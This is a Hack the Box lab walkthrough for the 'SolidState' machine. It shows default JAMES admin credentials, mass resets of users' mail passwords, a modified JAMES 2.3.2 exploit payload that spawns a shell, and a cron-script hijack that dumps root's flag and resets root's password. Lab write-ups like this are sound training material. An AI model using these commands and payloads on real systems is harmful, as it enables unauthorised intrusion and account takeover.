SolidState: Retired 27 Jan 2018
If you are interested in learning more about penetration testing, Hack the Box is a great way to get your feet wet in a legal and well built environment. Head over to hackthebox.eu to get started.
Solidstate was extremely similar to another training box I had done elsewhere (you will know what I am talking about if you have done it). This box was just different enough to make me have to rethink a few aspects.
Starting with a normal NMAP scan through Sparta, I immediately saw that there were a few interesting services running.
Exploring the web page did not reveal much crucial information other than the company name of SolidState.
JAMES server from other engagements, I turned back to some notes and saw that I had tried the default credentials against the JAMES Remote Admin shell previously. So I tried that same combo
root:root and had access to the admin shell. Using the
listusers command, I was able to get a list of all configured users.
Seeing that there was also POP3 running through JAMES, I decided to change all the user passwords in the admin shell to something I would know so that I could go back through POP3 and read any emails. The command for this is:
setpassword <user> gl0b0
Using the new passwords, I logged in as each user; John and Mindy were the only users with emails. These emails included an exchange where John sends Mindy her new password for SSH access:
Using the password for Mindy, I was able to SSH into the box:
ssh [email protected]. The shell however, was an RBASH shell and I was pretty limited in what I could do, though I was able to get the user hash:
To break out of the shell, I decided to go back and use a known exploit (
searchsploit james) for JAMES 2.3.2. The exploit is available here: https://www.exploit-db.com/exploits/35513/. From my previous experience, the default payload for this exploit was not what I wanted. I updated the payload to serve my purposes better by bypassing the RBASH shell once the exploit triggers.
########Updated Payload Here########### payload = "python -c 'import pty;pty.spawn(\"/bin/bash\")'"
Other than that change, the exploit could be used as is. Running the exploit seems to be successful, the only requirement is that a user must login to actually trigger the exploit. Logging in again as Mindy triggered the exploit and provided me with a fully functioning shell.
First thing to do at this point was to upload
linuxprivchecker.py to get a good understanding of the system. I simply downloaded the script from my host:
wget http://<myhost>/linuxprivchecker.py to Mindy's home directory.
linuxprivchecker shows that there is a World Writable File owned by
#!/usr/bin/env python import os import sys try: os.system('rm -r /tmp/*') except: sys.exit()
This looks like a script that runs on a schedule to clean up the
/tmp directory. To check is this script does run on a schedule, I updated the
os.system line to:
os.system('rm -r /tmp/*; cat /root/root.txt > /tmp/gl0b0
Then I watched the
tmp directory for a little bit using watch ls
/tmp. Sure enough, after a couple minutes, a
gl0b0 file appeared in the directory with the hash. Knowing this worked, I updated the edited line to:
os.system('rm -r /tmp/*; echo root:gl0b0 | /usr/sbin/chpasswd ')
When the file ran this time, I was able to get full root access. Listing out the crontab reveals what I already knew.
*/3 * * * * python /opt/tmp.py
The job was set to run every 3 minutes. Now with full root access, I grabbed the hash.
What I Learned
- Sometimes all the information you need is not there. I could not figure out a way to determine that there was a crob job for the
tmp.pyfile as a low-priv user. This was purely trial and error.
- Always, Always, Always pay attention to files that are not in places you would expect them to be: ie. a Python script in